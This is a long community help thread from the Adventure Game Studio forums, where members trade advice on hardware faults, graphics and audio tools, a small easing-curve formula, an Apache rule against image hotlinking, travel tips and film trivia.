I have noticed that the colder my apartment is, that the computer will not boot at all, unless i put a heat source near it. I am stumped.

Shawn
Title: Re: Ask something - We can help.
Post by: Anian on Tue 30/10/2012 22:37:39
If it's only been a year, then go let the warranty techs take care of it. Quickest way I think, just get it to work once and copy essential stuff to usb or a mobile hdd (documents, maybe saved passwords etc.).

Even if it's something hardware related they'll probably have to test it when you bring it there and you'll just lose time diagnosing it.
Title: Re: Ask something - We can help.
Post by: Khris on Tue 30/10/2012 22:40:37
The first thing I'd try is replacing the power supply. They're pretty cheap (though you should consider getting a not so cheap one) and it sounds like yours is currently dying of consumption.
A friend of mine had to do the old powering on and off to get his PC to work and the problem disappeared once got a new power supply.

I have this one (http://www.xigmatek.com/product.php?productid=165ype=specification); it was 50â,¬ and it's pretty quiet and most important of all delivers a steady 500 Watts.
Title: Re: Ask something - We can help.
Post by: Domino on Tue 30/10/2012 22:46:38
Thanks for all your input. I had purchased another back-up computer, but it crapped out on me and is being shipped back for a refund.

Shawn
Title: Re: Ask something - We can help.
Post by: RoliX on Fri 02/11/2012 17:40:31
Hello,

I need somebody with decent english knowledge! :)
I wrote a short letter to my english class and I need somebody to read it and fix some grammer mistakes. It's very short, I think you can read it in 1-2 minutes.
If you can help, please PM me!

Thank you very much! :)
Title: Re: Ask something - We can help.
Post by: Babar on Fri 02/11/2012 19:01:24
Unless it is something private, I'm sure you can just post it in here.

Unless you're trying to get us to do your homework for you!
Title: Re: Ask something - We can help.
Post by: Nikolas on Sun 04/11/2012 22:00:27
Well... it appears that he is trying to get us to do his homework, but anyhow... We're kind enough... Go ahead post away!
____________________________________

Now, on my problem.

I'm an idiot. There...

I did a survey a couple of years ago, which can be found here: https://spreadsheets.google.com/viewform?formkey=dHJEbHNvMmQzYUhHVWRKMHBncmR6Q3c6MQ The survey is alive, so it's still collecting date!

HOWEVER, I'm NOT sure with which account I made it happen, and none of my current accounts has the right file (google docs). I'm wondering if there's a way to see which email I used to create this and then I can recover the password and all that...

Hilfe?
Title: Re: Ask something - We can help.
Post by: selmiak on Mon 05/11/2012 01:58:20
*uses internet shoppping for FURNIOTURES and get srejected from the sourvey!*
ohm man I'm feeeeeling so rejected on my opionions on modern shopping .. shop more onions!!!
Title: Re: Ask something - We can help.
Post by: Ali on Tue 06/11/2012 11:38:57
A flash animation question from someone more used to After Effects: I'm using the motion editor in CS5.5 and I want to adjust the keyframe type (smooth/corner) for the X property of a symbol but not the Y or Z property.

I can't seem to do it. They are linked and I can't find an option to unlink them. Surely it's possible?
Title: Re: Ask something - We can help.
Post by: DoorKnobHandle on Sat 10/11/2012 10:42:58
Do we have people here at least somewhat experienced in/familiar with composing music for orchestras? If so, let me know please, I have a couple of questions!
Title: Re: Ask something - We can help.
Post by: Nikolas on Sat 10/11/2012 14:42:49
Quote from: dkh on Sat 10/11/2012 10:42:58
Do we have people here at least somewhat experienced in/familiar with composing music for orchestras? If so, let me know please, I have a couple of questions!
Oh come on...

I still frequent this forums, even in silence...

Just PM me with any questions you may have and I'll do my best to reply in a speedy manner! ;)
Title: Re: Ask something - We can help.
Post by: DoorKnobHandle on Sat 10/11/2012 15:15:37
Sweet, PM sent! Thanks!
Title: Re: Ask something - We can help.
Post by: on Mon 12/11/2012 05:33:02
I just broke my nth pair of earbuds and am pretty pissed off (to elaborate a bit: right earbud sound went off). I read on the net that this problem is pretty common.
This weekend I am going to shop for a new pair, I would like to buy something that will last me more than six months without breaking: do you know of sturdy earbuds? Is it a good idea to buy bluetooth ones (the rationale being that the cable is the weakest part of ordinary earbuds)?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Mon 12/11/2012 14:11:56
I like Shure earbuds.

http://www.shure.com/americas/products/earphones-headphones/se-earphones

Expensive but they have detatchable cables and a 2 year warranty.
Title: Re: Ask something - We can help.
Post by: InCreator on Tue 27/11/2012 23:51:52
Simple and quick:

(http://i.imgur.com/qqeBa.png)
What's the formula for this graph?
y = ...?

What for:
to change the value of a variable from 1 to 0 as represented with this curve in a for-loop - starting off slowly, then quicker, and then slowing down again. Note that X goes steady +1 in every cycle.

P.S. I hate every math teacher I had: stuffing my young brain with this crap BEFORE I actually got into game making and found actual use for it. And now I don't remember squat.
Title: Re: Ask something - We can help.
Post by: Anian on Wed 28/11/2012 00:31:20
*rant*I hated my math teachers (the one in grammar school was basically eyeing the girls and the one in college would make it all seem clear in class but when you got home it dawns on you that you don't understand anything) and my music teachers - the one in elementary school was drunk 90% of the class and the one in grammar school was teaching advanced stuff along with dictating every detail of a composers lives which was mostly irrelevant to music). It was mostly me being uninterested in math and music theory, but they're the ones that kept it uninteresting. :grin:
*/rant*

So anyway, I suck at math, but wouldn't you need a cosinus curve y=cos2x (that way it has the value of y=0 when x=pi/2). Now to get all the values positive, you cut y in half y=0.5cos2x (you make the amplitude half so it goes from +0.5 to -0.5)  and then add 0.5 to make it all postive so y=(0.5 cos 2x) + 0.5

That'll make it so when x=pi/2 y=0, but we need x=1 and y=0 so maybe we multiply x with 2/pi so in the end it should be y=(0.5 * cos(4/pi*x)) + 0.5
I'm sure somebody is better at math than moi, but it does feel good to get the brain working a bit.
Title: Re: Ask something - We can help.
Post by: selmiak on Wed 28/11/2012 10:22:26
looks good.
To have the minimum at 1 you use
y=(0.5 * cos(pi*x)) + 0.5
for every other userdefined value for when the curve reaches 0 use
y=(0.5 * cos(pi*x/(x_value_for_touching_zero))) + 0.5
Title: Re: Ask something - We can help.
Post by: InCreator on Wed 28/11/2012 12:32:40
Nice, my little tile-based light engine (sort of) works now.
Edge falloff still feels rough, but I don't think formula's to blame, but redrawing same area
(http://i.imgur.com/V2DFC.png)

E: Yeah, a bit of adjustment and it's perfect.
(http://i.imgur.com/iv7Mc.png)
Thanks!
Title: Re: Ask something - We can help.
Post by: on Wed 28/11/2012 14:18:06
Quote from: InCreator on Wed 28/11/2012 12:32:40
Thanks!

Looks nice, but I wonder: it is efficient? will it scale gracefully?
Once you found a 'perfect' value for all the parameters you might want to apply something like Taylor's approximation (https://en.wikipedia.org/wiki/Taylor_series). Just computing sin and cos lookup tables would help.
Title: Re: Ask something - We can help.
Post by: InCreator on Wed 28/11/2012 14:43:05
Wikipedia gives me headaches. I cannot understand a symbol on this page :(

Anyway, given that "engine" was just few creatively wasted hours on experimenting, I think it turned out pretty lovely :)

http://www.youtube.com/watch?v=ZhxImIat0uI&feature=youtu.be
Title: Re: Ask something - We can help.
Post by: Nikolas on Wed 28/11/2012 18:06:00
Hello,

I'm baffled beyond belief! I have 2 hours of video in avi format (which isn't quite a format, but whatever right now)... The video plays fine on both my computers,in VLC and in chrome (just tried it), but does NOT work in premier, or after effects, or windows movie maker (!!!!). They just grab the audio.

I've uploaded a small file (6 MB more or less) here: www.nikolas-sideris.com/AGS/avi.avi

If someone (or more) could download, take a look and tell me what the heck is wrong and how to fix it, I'd appreciate it hugely!

Thanks!
Title: Re: Ask something - We can help.
Post by: selmiak on Wed 28/11/2012 18:30:22
works fine in AE CS4 and VLC. Firefox stutters on it when played directly in the browser.
not that it should matter for adobe video editing software but I'd try reencoding it to xvid as this is the standard basic avi codec (with worse compression and more artifacts than avc h264 but maybe it works).
Title: Re: Ask something - We can help.
Post by: Nikolas on Wed 28/11/2012 20:02:59
How can I do that? I can't import it to premier to convert it... Any converters in mind, please? And huge thanks mate! Your will to help me out is quite touching (honestly, I mean that)
Title: Re: Ask something - We can help.
Post by: Gilbert on Thu 29/11/2012 01:32:48
Since it works in VLC, you can convert it with VLC. Find "Convert/Save" from the file menu or press Ctrl-R and see whether you have an appropriate encoding codec installed which your editing suite can handle.
Title: Re: Ask something - We can help.
Post by: on Thu 29/11/2012 02:26:37
whats the ags irc server, irc.adventuregamestudio.co.uk is not working for me, and I need to speak to hajo
Title: Re: Ask something - We can help.
Post by: Tabata on Thu 29/11/2012 02:41:29
irc.dasjoe.de should work  (nod)
Title: Re: Ask something - We can help.
Post by: on Thu 29/11/2012 02:47:01
thanks! Didn't know it had moved... I had an email problem but had an idea as you replied, and it seems to be working now. I know a couple of peeps tried to email me today, that was my fault, it should work now - spam has certainly started coming through again. I'd had a massively productive day and did one out of the ordinary thing (played with mail settings) in an attempt to be more productive before bed. But obviously led to the opposite  :-D
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Thu 29/11/2012 05:42:22
Hey.

I keep trying to render an image of something I've modeled in Maya 2013 but it keeps rendering in polygon instead of the smooth surfaces (NURBS? or whatever it's called). Is there a setting I'm missing?

Edit: Bah! I'm an idiot. I didn't realize pressing 3 was any different from Mesh > Smooth. But it worries me there's no turning back once you've smoothed it..
Title: Re: Ask something - We can help.
Post by: straydogstrut on Sat 08/12/2012 19:30:23
Sooo I'm flying off to New York a week on Monday for a little pre-Christmas holiday!! :grin:

Aside from the usual tourist traps, and geeking out on the feeling of being in a CSI episode, has anyone been to the Big Apple who can perhaps recommend some places to go/things to do etc?
Title: Re: Ask something - We can help.
Post by: KodiakBehr on Sun 09/12/2012 02:21:50
I'm not from New York (or the US, for that fact), but I pass through New York regularly, and to this day, cannot walk through Central Park without hearing that "chung chung" noise from Law and Order.  Sorry.

I suggest finding eats in Greenwich Village, you're spoiled for choice there.  Do take the opportunity to visit the Intrepid Air and Space Museum -- well worth it.  I would personally recommend not visiting the Statue of Liberty directly, you'll get some great photo ops from the Staten Island Ferry instead.  For night-life, there are some great "secret" bars and lounges if you reserve in advance.  I can give you a few tips on those.  Remember that if you're on Manhattan, MetLife stadium is only accessible from Penn Station via the New Jersey line, and it's not easy to find that particular track.  That said, it's almost never worth taking a cab!

I think NickyNyce is from New York, and probably has his own views.
Title: Re: Ask something - We can help.
Post by: Buckethead on Mon 10/12/2012 21:22:23
Quote from: Ryan Timothy on Thu 29/11/2012 05:42:22
Hey.

I keep trying to render an image of something I've modeled in Maya 2013 but it keeps rendering in polygon instead of the smooth surfaces (NURBS? or whatever it's called). Is there a setting I'm missing?

Edit: Bah! I'm an idiot. I didn't realize pressing 3 was any different from Mesh > Smooth. But it worries me there's no turning back once you've smoothed it..

You need something called Soften/harden edges. It has been a while since I've used Maya so I can't really remember how it works. But hopefully it points you in the right direction.
Title: Re: Ask something - We can help.
Post by: GoldenBomb on Tue 11/12/2012 14:46:30
Hey! I have a logitech non working mouse (wireless) and a camera that accepts a usb port.. then i was wondering... why not ask someone if they knew how I could connect the usb from within the mouse to the camera:D do u guys know if its even possible? i wanna use a logitech 5235 mouse for the project.. (and btw the camera only accepts mini-usb but im using an adapter to connect it to my Mac and it works as a webcam:) Needs answers quick, thanks!
Title: Re: Ask something - We can help.
Post by: Stee on Tue 11/12/2012 15:01:52
How about connecting the mouse to the pc via usb?
Title: Re: Ask something - We can help.
Post by: EchosofNezhyt on Tue 11/12/2012 18:03:20
Not sure if I'm understanding this right but I don't think that would work.
Title: Re: Ask something - We can help.
Post by: amateurhour on Tue 11/12/2012 20:53:45
Are you saying you want to use the wireless mouse dongle to send pictures to the computer wireless? That won't work.     
Title: Re: Ask something - We can help.
Post by: Khris on Wed 12/12/2012 12:09:27
I'm reminded of when my boss tried to connect an ancient tape backup device which had a 25 pin serial plug to a PC using a modem cable (25 to 9 pin) and a 9 pin to usb mouse adapter. Never mind that the cable's configuration would have to be exactly right by accident and that you'd need usb drivers for the device (which obviously didn't exist).

And a few days ago, the husband of a client made their apartment go dark because when trying to fix the cable of a floor lamp he had accidentally cut while unwrapping the lamp, he couldn't be bothered to connect the wires to each other separately and put them all together inside the screw joint.

Sooo, let me get this straight, because I can't make heads or tails of your post: do you want to "fix" the mouse? By connecting the mouse's wireless dongle to the camera's usb port? How would you then connect the camera to the PC?
I'm curious how your "project" will turn out, keep us posted.
Title: Re: Ask something - We can help.
Post by: EchosofNezhyt on Thu 13/12/2012 01:14:52
Quote from: Khris on Wed 12/12/2012 12:09:27
I'm reminded of when my boss tried to connect an ancient tape backup device which had a 25 pin serial plug to a PC using a modem cable (25 to 9 pin) and a 9 pin to usb mouse adapter. Never mind that the cable's configuration would have to be exactly right by accident and that you'd need usb drivers for the device (which obviously didn't exist).

And a few days ago, the husband of a client made their apartment go dark because when trying to fix the cable of a floor lamp he had accidentally cut while unwrapping the lamp, he couldn't be bothered to connect the wires to each other separately and put them all together inside the screw joint.

Sooo, let me get this straight, because I can't make heads or tails of your post: do you want to "fix" the mouse? By connecting the mouse's wireless dongle to the camera's usb port? How would you then connect the camera to the PC?
I'm curious how your "project" will turn out, keep us posted.

/LAFF
Title: Re: Ask something - We can help.
Post by: Nikolas on Sat 15/12/2012 20:48:23
Say...

A couple of questions, mostly gathering opinions I guess:

1. I'm about to send various emails to magazines, etc. I have their emails and phone numbers. Should I call first and then email, or email and then call to check up (after some reasonable time has passed)?

2. This email should be straight forward text? With some html inside (links for example and an image as signature)? A full fledged html mail (with images, links, videos, etc? Like a newsletter type of thing)?

Comments?
Title: Re: Ask something - We can help.
Post by: Jaffles on Sun 16/12/2012 19:55:24
Does anyone know of a good tutorial for drawing walkcycles up and down? (i.e. towards the player and away)

All the ones I could find were side-to-side.

Thanks!
Title: Re: Ask something - We can help.
Post by: miguel on Thu 20/12/2012 12:24:28
Hi guys!
I've been using paypal to send money and until recently it has worked fine. Now, it started acting stupid and declining sendings due to my card. I went to my bank and checked what I already knew: all is okay and my credit limit is fine.
Paypal can't fix it and while googling for similar situations I found that it happens a lot to people.
I'm considering mooneybookers, any advice on them?
Thanks!
Title: Re: Ask something - We can help.
Post by: selmiak on Sun 23/12/2012 18:15:59
I'm inside and can't find my keys! Help!
And also missing a shoe since yesterday :P
Title: Re: Ask something - We can help.
Post by: Tabata on Sun 23/12/2012 19:15:37
Quote from: selmiak on Sun 23/12/2012 18:15:59
I'm inside and can't find my keys! Help!
And also missing a shoe since yesterday :P
No need to worry - that is normal!
(in prison) (laugh)
Title: Re: Ask something - We can help.
Post by: Ghost on Sun 23/12/2012 19:48:11
Quote from: miguel on Thu 20/12/2012 12:24:28
I'm considering mooneybookers, any advice on them?
Thanks!

I may not be the best person to ask, since I don't do any online banking at all, but from what I've heard their service isn't that great. Friends told me that in several cases orders were not processed and customer service wasn't too good too, often taking a week until an answer came.
Title: Re: Ask something - We can help.
Post by: cat on Tue 08/01/2013 12:17:32
I have a Wacom tablet that I currently use with a 4:3 monitor. However, I would like to have a larger monitor or two smaller ones but then it won't fit the resolution of the tablet anymore. When I use a second monitor it works fine, but I can only use a small area of the tablet because the desktop is directly mapped on it. Not sure if anyone understands what I want to say? To cut a long story short: How can I use a widescreen monitor or even a dual monitor setup while still using the full area of my tablet?
Title: Re: Ask something - We can help.
Post by: miguel on Tue 08/01/2013 12:32:58
Thanks Ghost. I sorted out things with paypal and never had to use moneybookers after all.
Title: Re: Ask something - We can help.
Post by: Anian on Tue 08/01/2013 12:45:39
Quote from: cat on Tue 08/01/2013 12:17:32
I have a Wacom tablet that I currently use with a 4:3 monitor. However, I would like to have a larger monitor or two smaller ones but then it won't fit the resolution of the tablet anymore. When I use a second monitor it works fine, but I can only use a small area of the tablet because the desktop is directly mapped on it. Not sure if anyone understands what I want to say? To cut a long story short: How can I use a widescreen monitor or even a dual monitor setup while still using the full area of my tablet?
Is this a 4:3 tablet? Because there is an option in the the tablet settings to turn a 16:10 area (which the tablet has) into a 4:3 by basically making a part (on the side) of the tablet surface unresponsive (it reduces the area that's active so it fits with 4:3 resolution). You can change the area of the monitor and the tablet. I'm not sure if 4:3 tablets can turn into 16:10 though, but you can change all kinds of things.

I have a Bamboo and the option to change this is in Control Panel under "Bamboo Preferences", so check there. Then you go on Pen and there should be a button Mapping, set it from there. There might be a way to set up things automatically, but I had to go there and change the tablet area (reduce the height) and then I checked by drawing a circle in Paint, it's best to use something like a cd hole to make sure that you're drawing a circle). You lose a milimeter or two in the height but at at least it stops you from thinking you're crazy (for a month of so I was just puzzled why I couldn't copy drawings from paper properly. :-D

Again, I'm not quite sure what you're asking here, so I hope that helps.
Title: Re: Ask something - We can help.
Post by: cat on Tue 08/01/2013 13:32:14
Actually, this disabling of the surface was done automatically when connecting a second monitor. But the height was so much reduced, that I only had a few centimeters in height to draw. This renders the tablet almost useless.
Is it possible, to fix the tablet for example on one of the monitors and use a mouse for the other monitor? I don't want to loose much of the tablet surface. Or can I remap the tablet surface so it is stretched in width (or is that what you meant in your post?)
Title: Re: Ask something - We can help.
Post by: Anian on Tue 08/01/2013 13:40:31
I'm not quite sure, I don't have dual monitor set up and also have about 10cm to draw anyway. There is a setting there for choosing the monitors, so I'm guessing you can choose just 1 to work with a tablet. Many people who design and draw use 2 monitors, so it should be made for such things.
Title: Re: Ask something - We can help.
Post by: Khris on Tue 08/01/2013 18:43:27
It should be possible to map the tablet to the screen(s) in any way you want. Just look through the options in the tablet's properties. (I did this exactly once a few years back, but I distinctly remember being able to move and resize the tablet area inside the desktop area.)
Here's a video for an Intuos5, the procedure should be similar with other Wacom tablets: http://www.youtube.com/watch?v=ClDSx_wE-sE#t=133s

Tablets map to the desktop in an absolute fashion (as opposed to the mouse, which transfers movement to the cursor), so mapping the tablet to just one monitor is perfectly possible and should be extremely simple to set up.
Title: Re: Ask something - We can help.
Post by: cat on Tue 08/01/2013 20:59:40
Thanks for your help, I found the hidden menu where this is set. Dual-screen setup, here I come!
Title: Re: Ask something - We can help.
Post by: selmiak on Mon 21/01/2013 01:29:23
I have an animated gif and use save for web in photoshop but somehow the used frames don't disappear and are shown under the new frames. There is transparency in the gif and so you can see the old frames. When I save it with background it works fine. In photoshop only one layer is shown per frame and there are no settings left to check... how can I make the gif refresh the canvas?
Title: Re: Ask something - We can help.
Post by: Anian on Mon 21/01/2013 10:24:00
Quote from: selmiak on Mon 21/01/2013 01:29:23
I have an animated gif and use save for web in photoshop but somehow the used frames don't disappear and are shown under the new frames. There is transparency in the gif and so you can see the old frames. When I save it with background it works fine. In photoshop only one layer is shown per frame and there are no settings left to check... how can I make the gif refresh the canvas?
I haven't tried this, but I think you're suppose to add an alpha channel into each frame then save as gif, that way Photoshop overwrites everything for each frame.

On a more practical level, you might not have checked the box for Transparency (in the Save for web and devices panel). I've just tried with and without this checked and when I try without, the animation leaves a certain trail. Also you have to choose No transparency dither in the dropdown menu right below the the Transparency check box just to make sure (gifs don't have transparency blending, it's either 100% or 0%).
Also uncheck the Interlaced option just to be sure.

I found for GIMP there's two solutions depending on the version:
- by choosing from "Frame disposal where unspecified" option "One frame per layer (replace)"
- For the current version (2.8.0), in the name for each frame layer, include (replace). For example: 
Code (AGS) Select
frame 1(250ms)(replace)
Title: Re: Ask something - We can help.
Post by: selmiak on Mon 21/01/2013 11:13:09
thanks for your help, but it didn't work that way.
Only saving it as gif with background, then copying every frame from the animated gif into a new file, removing the background and animating it again did the trick. When saving as gif with background, then just removing the background and save it as an animated gif again still had the trails were in the final gif. And when saving as animated gif without a background the trails were there in every frame, even when opening the animated gif in Photoshop, creepy stuff. I don't know why this happened but now it works. Stupid workaround, I'd prefer a checkbox in the save for web dialog that ask to refresh every frame or something like that.
Title: Re: Ask something - We can help.
Post by: on Mon 28/01/2013 11:32:12
So, I am turning into an hipster and decided to make some hipster music.

What I basically I am looking for is to sequence a series of sound (rain, footsteps, things like that).

Since what I need is basic sequencing plus some other simple features (panning, sound envelope), I thought of using MIDI. To describe the process more thoroughly:

     0. recording some sound
     1. write MIDI with some kind of language (let's say, using a Haskell library)
     2. making the MIDI score play using said sounds
     3. record the mess

What am I unsure about (and what I am asking you): is it possible to 'plug' a virtual instrument to a MIDI score? Let's say I want to play a .wav file instead of a crappy synth piano, how to tell that to MIDI? Do I have to build a MIDI instrument? How so?

Basically I want to do what people did with fastrackerII and the like (sequence my own sound). I'd choose MIDI only because there are a throng of libraries out there for MIDI.

tl;dr: plug a particular instrument to a MIDI score? Possible? How so?
   
Title: Re: Ask something - We can help.
Post by: Problem on Mon 28/01/2013 12:47:53
If it has to be MIDI, you could try to create soundfonts (http://en.wikipedia.org/wiki/Soundfont) from your recorded samples and play your MIDI file using a soundfont player. I guess there are several tools you can use to create a soundfont. For example there is a tool called "Viena" on http://www.synthfont.com/.

I'm not sure if I got you right, but why do want to create the MIDI score with a programming language? Wouldn't a sequencer software do it?
Title: Re: Ask something - We can help.
Post by: on Mon 28/01/2013 13:11:57
Quote from: Problem on Mon 28/01/2013 12:47:53
[...]
I'm not sure if I got you right, but why do want to create the MIDI score with a programming language? Wouldn't a sequencer software do it?

Thanks Problem, much appreciated!

Yes, I want to create a MIDI score with a programming language, because the music I have in mind is pretty much algorithmic (e.g.: I can compute fibonacci and other series and dump it in the MIDI).
Title: Re: Ask something - We can help.
Post by: Stupot on Mon 11/02/2013 23:01:01
My laptop just died on me.  This is the worst timing ever, as I am trying to find work and have no money to buy a new one.
There are a couple of things I want to try to make sure it is actually the laptop that has died and not just the adaptor or something (my laptop runs only through the mains because its own battery is dead).

The question is.  If you were me, would you risk testing your adaptor on someone else's laptop?  I know this is ill-advised, but I'm kind of desperate.  My mum's laptop and mine have the same 'input' details on the adaptor (100-240V~1.5A 50-60Hz), but the 'output' is slightly different, mine is 20V and 3.25A compared to her 19V and 3.75A. All I would do is test it for like ten seconds to see if any power comes out of it.

One possibilty (which I hope is the case) is the fuse has just blown which I could easily replace, but I can't find a screwdriver at the moment due to them being cleverly stashed in a storage container with most of our stuff while we sell the house.  But if it's not the fuse, or the adaptor, then it's the laptop, which is the worst thing that could happen to me right now.

Anyway, I'd appreciate any thoughts from you guys.  I did a brief online search and results ranged from people who  were adamant that you must never use another adaptor or the world will end to others who said it was absolutely fine as long as the numbers were similar... so I don't really know where I stand.

Cheers.
Title: Re: Ask something - We can help.
Post by: Khris on Tue 12/02/2013 00:31:27
The voltage has to be really close; it can be slightly more than supposed to; if it's too little, the device will usually just refuse to work, not break.
Connecting a 20V adapter to a 19V device should be fine, although for microelectronics it's a different story than for electric devices.

As for the amperes, less won't do but more is fine as long as both are roughly in the same magnitude; connecting a 4A adapter to a 3A device is fine; the device will simply use only 3 of the provided 4.

BUT: don't connect it to the other laptop yet, get yourself a volt/ampere meter and measure its output instead.

Also, given that connecting your mom's adapter to your own laptop is much safer, I'd try that instead. (lower voltage, enough ampere, also I guess a broken adapter breaking a laptop is much more likely than a broken laptop breaking the adapter)
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 12/02/2013 01:03:11
Thanks for your advice Khris.  I'm going to have to think long and hard before I try anything.  I simply can't afford to replace my own laptop, not even with a cheap one, and I would be out on my ear if I broke mum's, which is already riddled with adware and has to repair and restore every other day.
Title: Re: Ask something - We can help.
Post by: InCreator on Thu 07/03/2013 04:02:01
Does anyone know how does CG mastery happen?
I mean these breathtaking 3D and 2D digital painted pictures found in 3dtotal.com or cgsociety.org... how did those people achieve such incredible levels?

I do believe that I can draw and model, yet at my very best, it feels like millenia of endless training away compared to what those people do.
And they dare to call their work imperfect, while yet feels like something impossible for human to do.
Are art schools/courses truly that effective or do those artists just have insane amount of talent and free time?
Some of those people reside among us -- here, too.
Title: Re: Ask something - We can help.
Post by: Anian on Thu 07/03/2013 04:44:54
Quote from: InCreator on Thu 07/03/2013 04:02:01Are art schools/courses truly that effective or do those artists just have insane amount of talent and free time?
Some of those people reside among us -- here, too.
FZD (the storyboard/concept artist) commented on this in one video, what basically happens with those people that go to specific art schools (the ones dedicated to design etc.) is that they take the students with most perspective and then push. The comment was on the fact that how people have these awesome portfolios - because they make about 2-3 paintings per day (some just speedpaints, some get fully finished), every day. Then they do that for 2 years or more with constant guidance, correcting their style and techniques with each work.
He further explains that if you want to compete, that is the only way to do it and that you can't expect to compete if you do a painting a week and just work work work.
http://www.youtube.com/watch?v=b8V88OvCx10  (there are a lot of videos in that channel, check them out)

Some 3d stuff makes me speachless, especially since I know the basics much better than 2d art. There are things I find I can do as well (some things are just a matter of detailing), but then there are those zbrush sculpts that just blow me away.


Title: Re: Ask something - We can help.
Post by: maxpin on Thu 07/03/2013 19:50:20
delete
Title: Re: Ask something - We can help.
Post by: Daniel Thomas on Sun 10/03/2013 11:04:15
Quote from: InCreator on Thu 07/03/2013 04:02:01
Does anyone know how does CG mastery happen?
Here is my point of view on this:

Might look like a joke, but it's more then less true
(http://i1342.photobucket.com/albums/o768/PA_ARTISTS/PA%20Intro/1292182343504_zpsc045382c.jpg)

No, I don't think you need any formal education.. But you can't expect to draw/paint/design something you don't understand, so you do need to study and understand. Attending to classes/courses/activities helps a lot since you can have a more experienced artists(teachers) point out what you need to work on, and of course they share their knowledge and have a plan for you(the class) how to achieve and understand what ever it is you're trying to learn.

The master artist who create those breath taking pieces has it all, knowledge, skill, devotion. It's not really about be able to handle a pen, even those 3D Sculpts the artist has a excellent understanding of anatomy and aesthetics, it's not about the tools but the knowledge and experience he puts in to his art piece.
Title: Re: Ask something - We can help.
Post by: Anian on Wed 13/03/2013 19:04:28
So I'm looking for a movie/series, sf in nature. The plot was connected to a teleport device where stuff did teleport (or maybe just disappear and then reappear, can't remember exactly), but with a delay. Soon the main characters figure out that stuff actually goes into another dimension or something similar.
If anybody might know the name of this, would be appreciated. It's probably something obvious, but it just escapes me for the last two days. :(
Title: Re: Ask something - We can help.
Post by: Khris on Wed 13/03/2013 21:25:33
That reminds me vaguely of Michael Crichton's Timeline. (Tech Company builds teleportation device, accidentally discovers time travel, Archeology students in France go back in time to the hundred years war to rescue their professor.) Pretty cool book, mediocre but enjoyable movie with Paul Walker.
Title: Re: Ask something - We can help.
Post by: Anian on Wed 13/03/2013 22:46:01
Quote from: Khris on Wed 13/03/2013 21:25:33
That reminds me vaguely of Michael Crichton's Timeline. (Tech Company builds teleportation device, accidentally discovers time travel, Archeology students in France go back in time to the hundred years war to rescue their professor.) Pretty cool book, mediocre but enjoyable movie with Paul Walker.
Heh, I actually have the book and the movie wasn't all that good. But no, it's not that.
Title: Re: Ask something - We can help.
Post by: Gilbert on Thu 14/03/2013 01:39:06
BTW Timeline was featured in the movie guessing (http://www.adventuregamestudio.co.uk/forums/index.php?topic=44093.msg615230#msg615230) thread, and no, I didn't enjoy this crap movie either.
Title: Re: Ask something - We can help.
Post by: Sylvr on Sun 31/03/2013 21:46:23
I have an unimportant trivia-finding question:

What is the longest this forum has gone between new members joining?
Title: Re: Ask something - We can help.
Post by: on Tue 02/04/2013 16:08:43
So, I have a question for web programmers.

I have a small website (+ space); I would like to upload some photos to share them with friends. As those pics are meant to be private, I was fiddling with some authentication method to allow only folks with user/psw see the pics.

Problem: I have no problem "blocking" unauthorised access to, say, example.com/picpage.php .
But what about example.com/pic01.jpg ? <-- This loads the picture without invoking any javascript/php/html, so it is effectively bypassing the login.

I asked a friend and he told me every client request sends headers, so it should be possible to 'vet' the request before serving the resource. But I don't know how to check those when the resource asked is a .png instead of .php .

Maybe with apache config?
Title: Re: Ask something - We can help.
Post by: Khris on Tue 02/04/2013 16:26:36
Something like this in your .htaccess should do the trick:

# Turn on the RewriteEngine
RewriteEngine On

#prevent outside image access
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?domain.com/.*$ [NC]
RewriteRule .*\.(gif|jpe?g|png)$ http://domain.com/no_hotlink.gif [R,NC,L]


This will redirect all image file requests not originating from within *.domain.com to http://domain.com/no_hotlink.gif
Title: Re: Ask something - We can help.
Post by: Cerno on Tue 09/04/2013 18:27:15
Quote from: Anian on Wed 13/03/2013 19:04:28
So I'm looking for a movie/series, sf in nature. The plot was connected to a teleport device where stuff did teleport (or maybe just disappear and then reappear, can't remember exactly), but with a delay. Soon the main characters figure out that stuff actually goes into another dimension or something similar.
If anybody might know the name of this, would be appreciated. It's probably something obvious, but it just escapes me for the last two days. :(

You're not talking about Primer, are you?
Awesome movie, that. But it's more about time travel than teleportation.
Title: Re: Ask something - We can help.
Post by: Anian on Tue 09/04/2013 19:09:15
Quote from: Cerno on Tue 09/04/2013 18:27:15You're not talking about Primer, are you?
Awesome movie, that. But it's more about time travel than teleportation.
I don't think so, unless it was from the beginning of Primer or something.
Title: Re: Ask something - We can help.
Post by: Cerno on Tue 09/04/2013 19:25:33
I guess it's not it then.

Primer is about two guys who spend their off-time inventing stuff in their garage and inadvertently invent time travel.
The time travel mechanism is really complex and very hard to grasp on the first few viewings
Since you put in stuff in one end of the machine and take it out at the other, your description kind of reminded me of that. On second thought, that's not similar at all.  :undecided:

But the movie is very realistic, has a very unique time travel mechanic and achieved an impressively professional result on the very tight budget of $7000.

Anyway, sorry, can't help with your question ;)
Title: Re: Ask something - We can help.
Post by: kconan on Fri 24/05/2013 03:15:43
What is the largest scrolling room size (in pixels) ever used in an AGS game?
Title: Re: Ask something - We can help.
Post by: Ponch on Fri 24/05/2013 03:23:56
Quote from: kconan on Fri 24/05/2013 03:15:43
What is the largest scrolling room size (in pixels) ever used in an AGS game?

Well, in Barn Runner: The Rich Dame Who Cut The Cheese...
Spoiler
I used one that was 6,560 pixels wide.
[close]
Do I win a prize?
Title: Re: Ask something - We can help.
Post by: Anian on Fri 31/05/2013 11:41:33
There's a boom of Kickstarter projects and something is f-ed up with it's videos (the ones on the front page of each project). I've tried in Chrome (which is updated) and FF, but both give me just a picture instead of a button and video player.
The weird thing is that if I press the "Embed" link below the video, I can play the videos from there and I can play videos which are linked (like from RPS or some other site). Which is really weird. I also can extract the link to the video file with Inspect element viewer and play it in a new tab (but this is really annoying).

Now it might have something to do with iframes and or html5 support check. In the Inspect element view I saw that the page checks if I have the html5 capable browser (which I should since it's the latest update of Chrome) and instead offers the .jpg (which is apparently what happens).
Oh, btw everything else, like youtube etc., works fine (as far as I am aware).

Now why I haven't tried googling this problem? Because if you f-in google anything with "kickstarter" you get just a bunch of project pages.
So anybody might know what the trouble is?
Title: Re: Ask something - We can help.
Post by: Khris on Fri 31/05/2013 12:38:15
